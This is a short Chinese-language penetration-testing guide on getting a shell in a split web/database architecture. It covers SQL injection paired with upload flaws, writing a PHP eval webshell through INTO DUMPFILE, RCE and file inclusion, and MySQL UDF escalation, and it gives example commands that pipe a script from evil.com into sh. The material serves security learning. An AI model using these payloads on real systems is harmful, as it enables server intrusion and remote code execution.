站库分离怎么拿 Shell
1. SQL 注入结合文件上传或文件写入漏洞
即使无法直接写入 webshell
,SQL 注入仍然可以用于读取或修改数据库中的数据。如果应用程序存在文件上传漏洞,攻击者可以利用 SQL 注入漏洞修改数据库中的某些配置,例如文件上传路径、文件后缀白名单等
渗透思路:
- 利用SQL注入读取网站的配置文件,获取文件上传路径
- 利用SQL注入修改数据库中的上传路径或白名单,使其允许上传恶意文件类型(如
.php
) - 结合文件上传漏洞,上传精心构造的
webshell
2. 利用数据库的写权限进行命令执行
在某些非严格配置的环境中,数据库用户可能拥有写入文件系统的权限。攻击者可以尝试通过数据库的 LOAD_FILE()
、SELECT ... INTO DUMPFILE
等函数,将恶意代码写入到 Web 服务器的可写目录中
渗透思路:
- 读取配置文件: 利用 SQL 注入读取 Web 服务器上的
phpinfo
或网站配置文件,寻找可写的目录路径 - 写入
webshell
: 尝试使用SELECT '<?php @eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/upload/shell.php'
将webshell
代码写入到Web服务器的upload
目录 - 注意: 这种方法需要数据库用户具有
file_priv
权限,并且数据库的secure_file_priv
参数没有限制。在站库分离架构下,这种配置是不推荐的,但仍有可能存在
3. 利用 Web 服务器自身的漏洞
这是最直接有效的方法。在站库分离架构中,数据库服务器通常难以直接入侵,但 Web 服务器本身可能存在远程命令执行(RCE)或文件包含(LFI/RFI)等高危漏洞
渗透思路:
- 远程命令执行(RCE): 如果 Web 服务器存在 RCE 漏洞,攻击者可以直接执行系统命令,例如
curl http://evil.com/shell.txt | sh
,下载并执行恶意脚本,从而获取反弹shell
或写入webshell
- 文件包含(LFI/RFI): 利用 LFI/RFI 漏洞,可以读取敏感文件或包含远程服务器上的恶意文件。例如,攻击者可以利用
file_get_contents('http://evil.com/shell.txt')
将远程webshell
文件包含到 Web 服务器,从而执行恶意代码
4. 通过数据库的 UDF 函数提权
如果攻击者在数据库上拥有足够高的权限(例如root
),并且数据库服务器允许动态加载库文件,他们可以上传自定义的UDF(用户自定义函数)库文件,并在数据库服务器上执行系统命令
渗透思路:
- SQL注入提权: 利用 SQL 注入获取数据库
root
权限 - 上传UDF文件: 通过
load_file()
或into dumpfile
等方法,将恶意 UDF 库文件(例如lib_mysqludf_sys.so
)上传到数据库服务器的插件目录 - 创建自定义函数: 在数据库中创建新的函数,例如
sys_eval()
,该函数能够执行系统命令 - 执行命令: 调用
sys_eval()
函数,执行系统命令,例如select sys_eval('curl http://evil.com/shell.txt | sh')
- 注意: 这种方法主要用于在数据库服务器上获取
shell
,而不是在 Web 服务器上。但如果数据库服务器配置不当,可能通过 UDF 执行的命令来反向攻击 Web 服务器